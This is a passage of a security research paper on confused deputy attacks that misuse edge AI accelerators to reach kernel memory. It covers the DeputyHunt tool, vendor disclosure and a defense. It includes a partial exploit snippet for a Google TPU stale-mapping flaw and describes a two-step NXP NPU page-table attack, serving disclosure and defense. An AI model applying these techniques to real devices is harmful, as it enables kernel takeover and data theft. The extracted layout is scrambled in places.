Directly quantifying this reduction would require extensive user studies involving analysts with varying levels of expertise, which is impractical at scale. Instead, we approximate effort reduction by measuring the number of functions or DeputyHunt outputs that must be manually inspected. In the baseline scenario, i.e., without DeputyHunt, an analyst would potentially need to examine all functions in KD to understand memory semantics and evaluate the likelihood of CDA. DeputyHunt narrows this scope by identifying a small subset of relevant entities that warrant manual analysis. We use this reduction in analysis scope as a proxy for analyst effort reduction. 2) Results: The first column in Table I shows the total number of functions within KD sources of each AIA, this indicates the base effort, i.e., without DeputyHunt, an analyst needs to manually check all these functions to understand the memory sharing semantics with AIA. We do not present the results for RNPU as it does not have zero-copy transfers, making CDA impossible (details in § U). The column BER of Table I shows the Base Effort Reduction, i.e., the number of functions flagged by the framework for each category, and the percentage shows effort reduction, i.e., what percentage of total methods were eliminated. On average, there is a ∼97% reduction, i.e., the percentage of functions deemed irrelevant for CDA.
E. Memory Region Identification As mentioned in § VII-C1, we use a combination of document and DTB analysis to identify different memory regions of AIA. For AIAs connected through PCI, i.e., Google TPU, HAILO NPU, and AINF, we had to use the lspci command to extract the relevant BAR regions. Our method worked for all the AIA, and we were able to precisely identify the memory regions as shown in (Appendix Table VIII). F. CDA Relevant Information This is the information necessary to check the possibility of CDA. Specifically, as mentioned in § VII-C5, this includes AIA Relevant Functions, KD entry points, and memory semantics. Applying the methodology described in § VIII-D3, we were able
8
DeputyHunt results (% of N-Total)
Total Functions in KD
AIA
AIA Relevant Functions
KD Entry Point
BER
NER
VRC
BER
NER
VRC
SMem Handling (i.e., Message Semantics) BER NER
VRC
Google TPU NXP NPU TMMA HAILO NPU
159 1,273 6,138 296
12 (92.45%) 15 (98.82%) 7 (99.89%) 12 (95.95%)
1 (99.37%) 4 (99.69%) 2 (99.97%) 2 (99.32%)
90% 85% 80% 85%
16 (89.94%) 8 (99.37%) 9 (99.85%) 20 (93.24%)
9 (94.34%) 5 (99.61%) 6 (99.90%) 12 (95.95%)
90% 65% 90% 95%
18 (88.68%) 16 (98.74%) 16 (99.74%) 24 (91.89%)
9 (94.34%) 7 (99.45%) 2 (99.97%) 4 (98.65%)
80% 85% 100% 100%
NVIDIA GPU
7,624
33 (99.57%)
13 (99.83%)
80%
39 (99.49%)
16 (99.79%)
90%
47 (99.38%)
24 (99.69%)
92%
AWS INF INF
381
7 (98.16%)
4 (98.95%)
73%
13 (96.59%)
9 (97.64%)
90%
17 (95.54%)
15 (96.06%)
82%
97.47%
99.52%
82.2%
96.41%
97.87%
86.7%
95.66%
98.03%
89.8%
Average
TABLE I Summary of DeputyHunt results and effort reduction, i.e., Base Effort Reduction (BER), Net Effort Reduction (NER), and Valid Result Confidence score (VRC). Results discussed in § VIII-D2.
Device
AIA Relevant Fns.
KD Entry Points
Semantics
Google TPU
gasket_ perform_ mapping (Listing 3)
GASKET_IOCTL _MAP_BUFFER GASKET_IOCTL _MAP_BUFFER_FLAGS (Listing 4)
Custom Page Tables (Appendix D)
NXP NPU
_GFPAlloc gckMMU_Fill FlatMapping WithPage16M (Listing 9) import_page_map gckOS_MapPagesEx (Listing 8) (All listings in Appendix)
viv_dev_probe (Listing 11) gcvHAL_WRAP _USER_MEMORY gcvHAL_LOCK _VIDEO_MEMORY (Listing 10) (All listings in Appendix)
Custom Page Tables (Appendix H)
TMMA
dma_heap_ buffer_alloc dma_buf_ phys_convert (Listing 25)
HAILO NPU
hailo_desc _list_create hailo_vdma _buffer_map (Listing 31)
NVIDIA GPU
nvmap_ioctl_ create_from_va nvgpu_vm_ map_buffer (Listing 35)
AWS INF
mc_alloc_ internal ncdev_mem _buf_copy ncdev_mem_ get_pa_deprecated (Listing 40)
DMA_HEAP _IOCTL_ALLOC DMA_BUF_PHYS _IOC_CONVERT (Listing 24 in Appendix) HAILO_DESC _LIST_CREATE HAILO_VDMA _BUFFER_MAP (Listing 32 in Appendix) NVMAP_IOC_FROM_VA NVMAP_IOC_GET_FD NVGPU_AS_IOCTL_ MAP_BUFFER_EX (Listing 36 in Appendix) NEURON_IOCTL _MEM_ALLOC NEURON_IOCTL _MEM_BUF_COPY NEURON_IOCTL _MEM_GET_PA (Listing 41 in Appendix)
application. We provide more in-depth details of these page tables in Appendix D. Similarly, in the case of HAILO NPU, KD maps the requested memory regions to AIA page tables and returns the page table base address to the user-mode application. We provide details in Appendix M. Other AIA with custom page tables have similar semantics. The case is different for TMMA: while the full DMA region is mapped to the AIA, only certain subregions are actually assigned to it. Memory requested by a user-mode application is allocated from these assigned regions. In case of AWS INF, the memory is shared through DMA rings [90]. Finally, as mentioned in § VIII-A, RNPU does not employ a zero-copy mechanism (i.e., it lacks direct memory access) and instead exchanges data via USB messages.
Shared Carveout Heap (Appendix K)
Custom Page Tables (Appendix M)
G. CDA Validation
Custom Page Tables (Appendix P)
As discussed in § VII-C6, we use the memory semantics information (§ VIII-F) to evaluate the possibility of CDA. Specifically, we create SMIDs for restricted memory regions and test whether the AIA can be used to access the corresponding victim regions. 1) CDA Classification: To further understand the impact of CDAs, we classify them along three dimensions, i.e., type of access, control on the victim address, and control of the value that can be written to the victim address (for write accesses). • Type of Access: CDA can enable read (R) and/or write (W ) access to victim addresses. • Victim Address Control: This is the amount of control an attacker has on the victim address in CDA, which can be full control (A 𝒇 , i.e., attacker can use CDA to access any address in the system memory (i.e., SMem in Figure 4)), limited control (A𝒍 , attacker can access certain specific memory regions), or no control (A𝒏 , attacker has no control on the type of memory region). • Write Value Control: For write access, this indicates the control of the value that can be written to the victim address. Similar to address control, this can be full control (V 𝒇 , i.e., any value can be written), limited control (V𝒍 , only a fixed set of values can be written), or no control (V𝒏 , the attacker has no control over the value). Depending on the possibility of creating SMID to arbitrary memory regions (i.e., our mapping as mentioned above), we identify different modalities of address control, i.e., full (A 𝒇 ),
Configuring DMA Controllers (Appendix S)
TABLE II Summary of CDA relevant information provided by DeputyHunt.
to use the information generated by DeputyHunt to identify all CDA-relevant information across the evaluated AIAs. Table II shows the results across all AIAs. For instance, DeputyHunt pointed out gasket_perform_mapping as the AIA relevant function handling SMem accesses in Google TPU. Similarly, dma_heap_buffer_alloc and dma_buf _phys_convert for TMMA. 1) Memory Access Semantics: We provide detailed discussions of the memory semantics for each AIA in the sections referenced in the Semantics column. We summarize the findings in this section. As shown in the Semantics column, most (i.e., four out of seven) AIAs access SMem through custom page tables, specifically, physical pages of SMem are mapped to AIAs page tables through DMA handles. For instance, in the case of Google TPU, a user-mode application can request KD to map a DMA region to the AIA. KD maps the region and returns the corresponding AIA virtual address to the user-mode
9
gasket_page_table_ioctl_flags buffer_to_map_victim; ... // map a page void *victim_ptr = mmap(NULL, size, PROT_READ | ↩→ PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); // TPU virtual address void *attk_addr = 0x1007000; ... buffer_to_map_victim.base.host_address = ↩→ reinterpret_cast<uintptr_t>(victim_ptr); buffer_to_map_victim.base.size = 4096; buffer_to_map_victim.base.device_address = attk_addr; // map physical page of victim_ptr to AIA virtual address ↩→ (attk_addr) ioctl(fd_, GASKET_IOCTL_MAP_BUFFER_FLAGS, &buffer_to_map); ... // Free the mapped memory, physical memory to virtual ↩→ mappings removed by the kernel, but the physical ↩→ memory will be still mapped to TPU pagetables munmap(victim_ptr, size); X// use attk_addr to create inference requests
limited (A𝒍 ), or no control (A𝒏 ). Similarly, we determine value control, i.e., V 𝒇 , V𝒍 , or V𝒏 . We follow a similar procedure to determine read CDAs. 2) Results: We found variants of CDA on all AIAs across all boards. Table III summarize our findings. We validated all our findings by creating corresponding exploits referenced under Validating CDAs column. The references also include a detailed discussion of corresponding exploits. Arbitrary Memory Access. We were able to achieve complete control, i.e., arbitrary memory access (read and write), On NXP NPU and HAILO NPU. Specifically, we could use AIAs to read and write any memory region. On NXP NPU, given that the SMIDs are addresses, the attacker can choose an SMID corresponding to DMem, AIRMem, or other USE pages. On the other hand, NPU is unaware of the privileges of the requesting USE and uses the provided SMID to perform the inference operation, resulting in CDA. Moreover, since the NPU page tables are located in DMem, the attacker can create SMID corresponding to NPU page tables. Consequently, overwriting the NPU page tables to add mapping to the entire SMem and gaining complete access to the SMem. Similarly, on HAILO NPU, SMID is the NPU pagetable base physical address; the attacker can choose an SMID corresponding to any address in SMem. The NPU will use this SMID to perform pagetable walks. The entries in the attackerchosen SMID can map privileged SMem to the AIA. Using the CDA, the attacker can read/write privileged SMem by triggering inference requests. Limited Memory Access. We were able to achieve limited control, i.e., limited memory access (read and write), on TMMA and AINF. Specifically, we could use AIAs to read and write certain specific memory regions. On TMMA, given that the AIA can only physically capable of addressing DMem and SMID is the physical address of DMem, the attacker can choose an SMID corresponding to any DMem pages. On the other hand, MMA is unaware of the privileges of the requesting USE and uses the provided SMID to perform the inference operation, resulting in CDA. Similarly, on AINF, SMIDs can be created to arbitrary regions in AIMem (Internal to AIA-8GB) and use CDA to read/write privileged AIMem by triggering inference requests. Fixed Memory Access. We achieved fixed memory control (i.e., read/write) on Google TPU and NVIDIA GPU, where the attacker cannot choose arbitrary victim addresses. On Google TPU, each USE has exclusive access, and SMem access is mediated by AIA page tables, so any valid SMID can only access memory the USE currently has mapped. However, stale memory checks (§ VII-C6) revealed that SMID remains valid even after a page is unmapped, creating a TOCTOU condition [91]. The attack proceeds as follows as shown in Listing 1: (1) the attacker maps a valid page to a device address (attk_addr); (2) the page is unmapped in the attacker’s address space, but the AIA mapping remains; (3) inference requests using attk_addr cause the AIA to access restricted memory, potentially exposing sensitive code/data.
Listing 1: Snippet of CDA exploit for Google TPU.
On NVIDIA GPU, multiple USEs can access the device, but each USE’s SMem access is controlled by per-USE GPU page tables, and context switching ensures only one USE’s tables are active at a time. As on Google TPU, stale SMID entries create a TOCTOU vulnerability, allowing fixed-region CDA.
Attack 1
Memory of victim UA SMID (UA) Step 2 Step 1 SMID (DMem) Attack 2
AIA Page table
Arbitrary Kernel Memory
DMem
Fig. 3. NXP NPU CDA case study
3) Case Study: NXP NPU CDA Exploit: DeputyHunt identifies the relevant message fields (Table III), KD entry points (Table II), and AIA-relevant functions (Table II). Analysis of the AIA-relevant functions revealed (Appendix H) that NXP NPU uses custom page tables and encodes the page-table index as the SMID. Furthermore, these SMIDs are identity-mapped to physical addresses, allowing the construction of SMIDs for arbitrary physical memory regions. However, an SMID is considered valid only if the corresponding page is mapped in the NXP NPU page tables. Accessing Arbitrary UA Memory (Attack 1). We observed that entries are not tagged; consequently, mappings from multiple UAs remain simultaneously active. Consequently, an attacker can craft an SMID corresponding to a page owned by another UA (victim) and instruct the NXP NPU to write to that page,
10
Message Semantics Message Structure
Device
SMID
Validating CDAs (§ VII-C6)
requirements of AIAs. All vendors acknowledged our findings and insights, and we are actively collaborating with them to develop appropriate mitigations with negligible performance overhead. Given the widespread deployment and the use of the affected AIAs, the impact of the identified attacks is severe. This is especially true for NXP NPU, which is based on Vivante’s IP. We confirmed that similar NPUs (i.e., with the same memory sharing semantics) are used in 128 different SOC, deployed in over 100 Million devices. Similarly, HAILO NPU and NVIDIA GPU are also used in a wide range of SOCs, potentially affecting millions of deployed devices. The case with Amazon is much more severe as one compromised application (even containerized) can affect other applications running in VM. The impact of our findings is less severe in the case of Google TPU, as it has reached its end of life and is not currently supported. However, there is still a prevalent use [110], [111] of legacy devices (e.g., Pixel 4), increasing the potential severity. Texas Instruments claims that TMMA has support for access restriction and could be configured to avoid CDA. However, as shown in the case of Google TPU, having a mechanism does not always imply that the CDA is impossible. We will present possible defenses in the next section (§ IX) and discuss their characteristics, enabling vendors to tackle these vulnerabilities appropriately.
Arbitrary Memory Access NXP NPU
gcsUSER_MEMORY_DESC gcsHAL_LOCK_VIDEO_MEMORY (Listing 12 in Appendix)
address
HAILO NPU
hailo_desc_list_create_params (Listing 33)
dma _address
TMMA
AWS INF
Google TPU
NVIDIA GPU
Limited Memory Access dma_heap_allocation_data dma_buf_phys_data (Listing 26) mem_chunk neuron_ioctl_mem_buf_copy neuron_ioctl_mem_get_pa (Listing 42) Fixed Memory Access gasket_page_ table_ioctl (Listing 2 in Appendix) nvmap_create_handle_from_va nvmap create handle nvgpu_as_map_buffer_ex_args (Listing 37)
R,A 𝒇 W ,A 𝒇 ,V 𝒇 (§ F) R,A 𝒇 W ,A 𝒇 ,V 𝒇 (§ L)
phys
R,A𝒍 W ,A𝒍 ,V 𝒇 (§ J)
pa
R,A𝒍 W ,A𝒍 ,V 𝒇 (§ R)
device_ address
R,A𝒏 W ,A𝒏 ,V 𝒇 (§ C)
offset
R,A𝒏 W ,A𝒏 ,V 𝒇 (§ O)
TABLE III Summary of Messages Semantics and Validating CDA.
thereby launching CDA against arbitrary UAs communicating with the NXP NPU, Figure 3 illustrates this attack. Accessing Arbitrary Kernel Memory (Attack 2). We also identified that, in addition to pages belonging to the requesting UA, the entire DMem region is mapped into the page tables. We further identified that the page tables themselves reside in DMem, which is fully mapped into the NXP NPU address space. We can use a 2 step attack to perform arbitrary memory CDA. Specifically, in the first step, we can modify these page tables using the SMID for the location in DMem where the page tables are located and insert mappings to arbitrary (victim) kernel pages. In the second step, we can use the SMID of the modified page table entry to write to the victim kernel page. Figure 3 also illustrates this two-step attack. We verified this by creating an exploit using an example UA and intercepting its ioctl calls to modify SMIDs. As shown in Table III, we consider this as complete control, i.e., A 𝒇 and V𝒇.
IX. Defenses We aim to defend against CDA in systems that employ zerocopy data transfers. As described in § VIII-G1, memory-based CDAs require two necessary conditions. Preventing either of these conditions is sufficient to mitigate CDA, and this can be achieved through multiple design approaches. These approaches can be classified based on the entity performing validation (i.e., host or AIA), their reliance on hardware support, and their backward compatibility. We discuss these design alternatives in detail in Appendix B. Based on discussions with affected vendors (§ VIII-H), a practical defense must be backward compatible with existing applications (i.e., it should not require modifications to application-layer components) and should avoid hardware changes. These requirements are also consistent with prior work by Machiry et al. [30], which addresses CDA in TrustZone.
H. Responsible Disclosure and Impact We reported all our findings (summarized in Table III) to the respective vendors, who acknowledged and confirmed the validity of our results. The vendors’ Product Security Incident Response Teams (PSIRT) are tracking our disclosures using internal identifiers. NXP has already assigned CVE-202566425 for the reported vulnerability and published a partial fix. Interestingly, some vendors, such as Hailo, inquired whether our attack remains feasible in the presence of an IOMMU. We clarified that, in practice, AIAs bypass the IOMMU to achieve high performance and enable direct access to host memory. For example, on Raspberry Pi 5 (our evaluation platform for Hailo), the IOMMU is enabled and is used by on-chip peripherals (e.g., the on-SoC GPU, display controller, and ISP). In contrast, HAILO NPU is connected via PCIe to provide low-latency, high-throughput access, and this PCIe path does not traverse the IOMMU. This behavior stems from a hardware/platform limitation of the BCM2712 AP [107], [108], [109], where PCIe devices bypass the IOMMU to meet the performance
A. On Demand Validation by AIA We propose On-Demand Validation, where the AIA validates each SMID at runtime by consulting the KD. This approach is backward compatible, requires no hardware modifications, and introduces only minimal changes to the KD. In this approach, the KD attaches the PID of the UA to each request sent to the AIA. AIA processes the message and if the message contains a SMID, AIA sends a verification request to KD along with the PID. The KD then checks whether the SMID is valid for the given PID and returns an OK/NOTOK response. To reduce overhead, the AIA can cache previously validated SMIDs, avoiding redundant validation requests. Additionally, the KD maintains a mapping between SMIDs and their corresponding memory regions. To
11
Device
SOC Board
Host OS
Google TPU
Coral Dev Board [92]
NXP NPU
i.MX 8M Plus Evaluation Kit [95]
TMMA
SKTDA4VM[74]
HAILO NPU
Raspberry Pi AI HAT+ [98]
NVIDIA GPU
Jetson AGX Orin Developer Kit [80]
AWS INF
EC2 inf1.xlarge [102] Instance
RNPU
ASUS Tinker Edge R [85]
Mendel Linux [93] NXP i.MX Release Distro (fsl-imx-xwayland) [96] Linux (Arago project) [97] Debian GNU/Linux 12 (bookworm) Distro [99] Jetson Linux Ubuntu 20.04.6 LTS Distro [100] Amazon Deep Learning AMI Neuron (Ubuntu 22.04) [103] Debian Linux 10 (buster) [105]
Present
IOMMU Is Bypassed
SMID translation type
Datasheet
No
-
AIA page tables
[94]
No
-
AIA page tables
[95]
yes
yes
SMID is physical address
[74]
yes
yes
AIA page tables
[77]
yes
yes
AIA page tables
[101]
yes
yes
SMID is physical address internal to AIA
[104]
yes
-
-
[106]
TABLE IV Summary of SOC boards, Host OS, IOMMU configuration, and AIA SMem access type.
AIA-KD (Our Approach)
Strict per-transaction IOMMU enforcement across all memory ports Miss latency = 100 ns
Miss latency = 500 ns
Miss latency = 1000 ns
Benchmark
Overhead
SMID Val.
TLB=8
TLB=64
TLB=256
TLB=8
TLB=64
TLB=256
TLB=8
TLB=64
TLB=256
bfs fft gemm lenet a lenet b lenet c md grid md knn mergesort mobilenetv2 mobilenetv2 35 mobilenetv2 75 nw spmv stencil2d stencil3d
+20.91% +15.71% +0.56% +6.13% +1.34% +3.53% +3.80% +5.41% +2.75% +47.46% +47.31% +47.40% +25.70% +13.15% +1.57% +2.54%
13 19 31 105 85 69 14 22 9 5,647 5,597 5,627 29 18 23 39
+14.46% +0.35% +0.82% +4.09% +11.44% +2.43% +0.06% +0.09% +0.08% +923.13% +300.43% +526.46% +0.73% +0.14% ∼0% +0.56%
+14.46% +0.33% ∼0% +0.05% +0.06% ∼0% +0.06% +0.09% +0.08% +298.47% +298.68% +298.17% +0.49% +0.17% ∼0% +0.52%
+14.46% +0.33% ∼0% +0.05% +0.06% ∼0% +0.06% +0.09% +0.08% +298.47% +298.68% +298.17% +0.49% +0.17% ∼0% +0.52%
+14.98% +0.75% +4.33% +20.45% +60.50% +19.42% +0.21% +0.17% +0.22% +3507.67% +312.30% +1483.41% +2.26% +0.60% +2.58% +0.94%
+14.98% +0.61% ∼0% +0.27% +0.33% +0.02% +0.16% +0.17% +0.22% +299.80% +299.58% +299.59% +1.30% +0.55% ∼0% +0.71%
+14.98% +0.61% ∼0% +0.27% +0.33% +0.02% +0.16% +0.17% +0.22% +299.80% +299.58% +299.59% +1.30% +0.55% ∼0% +0.71%
+15.66% +1.20% +8.92% +40.91% +121.83% +40.67% +0.37% +0.35% +0.31% +6732.20% +326.30% +2676.51% +4.21% +1.21% +5.96% +1.42%
+15.66% +0.96% ∼0% +0.55% +0.68% +0.39% +0.33% +0.35% +0.31% +301.14% +300.96% +300.96% +2.38% +1.13% ∼0% +0.94%
+15.66% +0.96% ∼0% +0.55% +0.67% +0.39% +0.33% +0.35% +0.31% +301.14% +300.96% +300.96% +2.38% +1.13% ∼0% +0.94%
Average
+15.33%
1,084
+111.58%
+56.98%
+56.98%
+339.42%
+57.39%
+57.39%
+623.63%
+57.92%
+57.92%
TABLE V Overhead of AIA-KD vs. an IOMMU-based defense on Gem5-salam, sweeping IOMMU miss latency (100/500/1000 ns) and I/O Translation Lookaside Buffer (IOTLB) size (8/64/256 entries; hit latency fixed at +2 ns). Lowest per-row overhead is bold (ties bolded).
ensure correctness, unmapping requests from the UA must be deferred until the AIA completes processing, preventing stale mappings from being exploited. Our technique is conceptually similar to the Cooperative Semantic Reconstruction approach proposed by Machiry et al. [30].
been validated; if so, the function returns immediately. Otherwise, it invokes sendValidationRequest, which represents sending a validation request to the KD and receiving the response. Rather than explicitly modeling message transmission, sendValidationRequest emulates this interaction by introducing a fixed delay, denoted as kernelValidationLatency. IOMMU Baseline. We extend gem5-SALAM with an AcceleratorIommu SimObject that models IOMMU on every accelerator memory port, and use it to sweep TLB size and IOTLB miss latency under strict per-transaction enforcement. 2) Results: Table V reports the runtime overhead across the evaluated benchmarks. On average, the overhead is 15.33%, with the majority of benchmarks incurring less than 10% overhead. Whereas the strict IOMMU enforcement incurs significant overhead (56%– 623%), although increasing TLB sizes helps at smaller sizes (i.e., 8 to 16), but does not help for higher values. These results demonstrate that On-Demand Validation provides a practical defense against CDA in AIAs. The SMID Validation column illustrates the impact of our optimization (i.e.,, caching and page-level validation). A naive implementation would require a substantially larger number of validation requests. Intuitively, one might expect the runtime overhead to scale proportionally with the number of page validation requests. This trend is observable in some cases, e.g., lenet_b (85 validations, 1.34% overhead) versus lenet_a (105 validations, 6.13% overhead). However, this relationship does not always hold. For instance, md_grid incurs a 3.8%
1) Implementation: We implemented our design using the Gem5-salam simulator [112], which supports system–accelerator co-design and is widely used in architectural research [113]. Gem5-salam provides dynamic execution models that capture execution parallelism and data dependencies. It also models key components commonly found in AIA designs, including DMA, scratchpad memories, and streaming buffers. Gem5-salam offers cycle-level visibility into AIA execution, enabling precise measurement of performance overhead. It also includes MachSuite benchmark suite [114], which enables a holistic assessment of AIA performance, as it includes not only AI workloads but also benchmarks that stress diverse architectural characteristics of AIA, such as memory parallelism, floating-point functional unit utilization, datapath stalls, memory-to-compute ratios, and runtime stalls. Gem5-salam employs LLVM-based modeling for AIA simulation [18]. We implemented our defense that inserts a call to isPageValidated for every llvm::Load and llvm::Store instruction, passing the corresponding memory address as an argument. The isPageValidated function encapsulates the core defense logic. Specifically, it computes the corresponding page and checks whether it has already
12
overhead with only 14 page validations, whereas lenet_b incurs just 1.34% overhead despite requiring 85 page validations. This discrepancy stems from differences in benchmark structure (e.g., sequential versus parallel execution) and the inherent parallelism modeled by Gem5-salam, which includes multiple pipelines and execution units. As a result, validation requests do not completely stall the AIA; instead, only the affected pipeline is blocked, while independent compute tasks continue to execute.
We designed DeputyHunt, an LLM-assisted technique to investigate this and evaluated it on seven real-world AIAs. We found CDA is possible in six of them, affecting hundreds of SOCs, and our findings have been acknowledged by corresponding vendors. We also presented possible defenses against CDA and discussed their characteristics. Generative AI Usage Used code assist tools (GitHub Copilot and ChatGPT) to help with developing parts of the codebase. Code assist tools were mainly used for boilerplate code (DeputyHunt, overhead calculations framework), authors directed the logic and structure and verified correctness. For example in development of exploit POCs, the idea and logic was completely authored by the researchers, AI was used to help write syntactically correct code snippets. Verified correctness by running POC on real AIA devices and shared with vendors. In writing the paper, AI tools were used to help with grammar and spelling suggestions and visual improvements(e.g., table formatting).
X. Related Work The security aspects of AIAs have been previously explored before. Several of these works [12], [13], [14] focus on privacy aspects, specifically confidentiality of the model executing on AIAs. There are other vulnerability detection works that try to find vulnerabilities (including micro-architectural vulnerabilities [20]) in AIAs. The goal of existing techniques is to exploit AIA through these vulnerabilities. Our goal is to compromise the security guarantees of the host system. Specifically, we focus on modifying privileged Kernel Memory (KM) through Confused Deputy Attacks (CDAs) [115] exploiting AIAs. Prior work has examined IOMMU limitations for DMA attacks. Thunderclap [35] demonstrates attacks by malicious peripherals performing DMA, whereas we assume a benign AIA exploited by a malicious USE as a confused deputy. Other works target AIA firmware vulnerabilities [116], [117] or GPU MMU bugs [118]. Our approach is orthogonal: it does not rely on firmware or software bugs, but on semantic gaps introduced by performance-driven zero-copy AIA integration that enable CDA. Software-based IOMMU enhancements [31] are impractical for Edge AIAs due to the high overhead on memory-intensive AI workloads [119], [120]. As a result, IOMMU-centric defenses are often impractical for Edge devices, motivating alternative protection mechanisms such as those explored in this work. Recently, Markettos et al. [121] proposed a capability-based access control mechanism to protect unprotected DMA access. However, these techniques are still nascent and require considerable effort to make them realistic to be integrated into real-world system-on-chips. Other works [34], [33] propose hardware and software modifications to address performance concerns and improve isolation for AIA. We also discuss possible defenses (§ IX) to prevent CDAs. CDAs have been explored before in other contexts. Machiry et al. explored Boomerang attacks [30], which are CDAs in the context of Trusted Execution Environments (TEEs). They also developed a static analysis framework for TEE to detect such vulnerabilities and evaluate potential solutions to mitigate these attacks. However, the black box nature (i.e., unknown ISA) of AIA firmware and the lack of an open-source implementation make the aforementioned techniques inapplicable.
Ethical Considerations This section outlines the ethical considerations in designing, implementing, and evaluating DeputyHunt. The primary stakeholders are: • Maintainers of the evaluated AIAs. • Users of corresponding systems.
Risks and Benefits from Discovered CDAs: Our evaluation of DeputyHunt resulted in the identification of CDA in six popular AIAs. These defects are security-critical and could lead to a kernel takeover. Hence, we reported all issues via appropriate channels as described in § VIII-H. Most were already acknowledged, and fixes are being worked on. Users who do not update may face residual risks if these issues are later exploited. Risks and Benefits from DeputyHunt’s Release: These risks are common in vulnerability research. To minimize risk, we will not release our exploits to the public and will make our framework publicly available only after all the issues are appropriately mitigated. References [1] P. Nama, “Ai-powered mobile applications: Revolutionizing user interaction through intelligent features and context-aware services,” Journal of Emerging Technologies and Innovative Research, vol. 10, no. 01, pp. g611–g620, 2023. [2] A. S. Reddy, J. S. Likhitha, Y. R. Alla, and S. Reeja, “Ai-powered laptop companions: Bridging the human-machine gap,” in 2024 4th International Conference on Data Engineering and Communication Systems (ICDECS). IEEE, 2024, pp. 1–6. [3] X. Wang, Z. Tang, J. Guo, T. Meng, C. Wang, T. Wang, and W. Jia, “Empowering edge intelligence: A comprehensive survey on on-device ai models,” ACM Computing Surveys, 2025. [4] A. Tewari, N. Sarguroh, P. Kingrani, T. Shetty, and R. Motwani, “Aibased autonomous driving assistance system,” in 2021 5th international conference on computing methodologies and communication (ICCMC). IEEE, 2021, pp. 1491–1498.
XI. Conclusion We performed the first investigation of security threats, specifically Confused Deputy Attack (CDA), from AIA to AP.
13
[5] A. N. Mazumder, J. Meng, H.-A. Rashid, U. Kallakuri, X. Zhang, J.S. Seo, and T. Mohsenin, “A survey on the optimization of neural network accelerators for micro-ai on-device inference,” IEEE Journal on Emerging and Selected Topics in Circuits and Systems, vol. 11, no. 4, pp. 532–547, 2021. [6] A. Reuther, P. Michaleas, M. Jones, V. Gadepally, S. Samsi, and J. Kepner, “Ai and ml accelerator survey and trends,” in 2022 IEEE High Performance Extreme Computing Conference (HPEC), 2022, pp. 1–10. [7] M. Intelligence, “Embedded ai market size, growth & outlook — industry trends 2030,” https://www.mordorintelligence.com/industry-reports/ embedded-ai-market, July 2025, accessed: 2025-09-22. [8] S. K. Palaniappan and P. B. Nagaraja, “Efficient data transfer through zero copy,” IBM developerworks, p. 184, 2008. [9] M. Alex, S. Vargaftik, G. Kupfer, B. Pismeny, N. Amit, A. Morrison, and D. Tsafrir, “Characterizing, exploiting, and detecting dma code injection vulnerabilities in the presence of an iommu,” in Proceedings of the Sixteenth European Conference on Computer Systems, ser. EuroSys ’21. New York, NY, USA: Association for Computing Machinery, 2021, p. 395–409. [Online]. Available: https://doi.org/10.1145/3447786.3456249 [10] W. Zhou, Z. Jiang, and L. Guan, “Understanding mpu usage in microcontroller-based systems in the wild,” in Proceedings 2023 Workshop on Binary Analysis Research. San Diego, CA, USA: Internet Society, 2023. [11] Olson, Lena E., Sethumadhavan, Simha, and Hill, Mark D., “Security implications of third-party accelerators,” vol. 15, no. 1, pp. 50–53. [Online]. Available: http://ieeexplore.ieee.org/document/7123581/ [12] A. Dhar, C. Thorens, L. M. Lazier, and L. Cavigelli, “Ascend-CC: Confidential computing on heterogeneous NPU for emerging generative AI workloads.” [Online]. Available: http://arxiv.org/abs/2407.11888 [13] K. Vaswani, S. Volos, C. Fournet, A. N. Diaz, K. Gordon, B. Vembu, S. Webster, D. Chisnall, S. Kulkarni, G. Cunningham, R. Osborne, and D. Wilkinson, “Confidential computing within an AI accelerator.” [14] X. Wu, D. J. Tian, and C. H. Kim, “Building GPU TEEs using CPU secure enclaves with GEVisor,” in Proceedings of the 2023 ACM Symposium on Cloud Computing. ACM, pp. 249–264. [Online]. Available: https://dl.acm.org/doi/10.1145/3620678.3624659 [15] Y. Zhang, S. G. Le Wu, and Z. Huang, “Attacking npus of multiple platforms,” blackhat EUROPE, 2023. [16] Y. WANG, “Make ksma great again: The art of rooting android devices by gpu mmu features,” blackhat USA, 2023. [17] V. Rajani, D. Garg, and T. Rezk, “On access control, capabilities, their equivalence, and confused deputy attacks,” in 2016 IEEE 29th Computer Security Foundations Symposium (CSF). IEEE, 2016, pp. 150–163. [18] S. Rogers, J. Slycord, M. Baharani, and H. Tabkhi, “gem5-salam: A system architecture for llvm-based accelerator modeling,” in 2020 53rd Annual IEEE/ACM International Symposium on Microarchitecture (MICRO), 2020, pp. 471–482. [19] W. Li and M. Liewig, “A survey of ai accelerators for edge environment,” in Trends and Innovations in Information Systems and Technologies, Á. Rocha, H. Adeli, L. P. Reis, S. Costanzo, I. Orovic, and F. Moreira, Eds. Cham: Springer International Publishing, 2020, pp. 35–44. [20] H. Naghibijouybari, E. M. Koruyeh, and N. Abu-Ghazaleh, “Microarchitectural attacks in heterogeneous systems: A survey,” ACM Comput. Surv., vol. 55, no. 7, Dec. 2022. [Online]. Available: https://doi.org/10.1145/3544102 [21] “Embarrassingly parallel,” page Version ID: 1251754341. [Online]. Available: https://en.wikipedia.org/w/index.php?title=Embarrassingly parallel&oldid=1251754341 [22] Coral by Google. (2024) Coral dev board. Google. Accessed: 2025-04-04. [Online]. Available: https://coral.ai/products/dev-board [23] H. Park and S. Kim, Software Overview for On-Device AI and ML Benchmark in Smartphones. Cham: Springer International Publishing, 2023, pp. 151–165. [Online]. Available: https://doi.org/10. 1007/978-3-031-22170-5 5 [24] R. Oshana, “5 - dsp architectures,” in DSP Software Development Techniques for Embedded and Real-Time Systems, ser. Embedded Technology, R. Oshana, Ed. Burlington: Newnes, 2006, pp. 123–158. [Online]. Available: https://www.sciencedirect.com/science/article/pii/ B9780750677592500077 [25] E. D. Reilly, “Memory-mapped i/o,” in Encyclopedia of Computer Science, 2003, pp. 1152–1152.
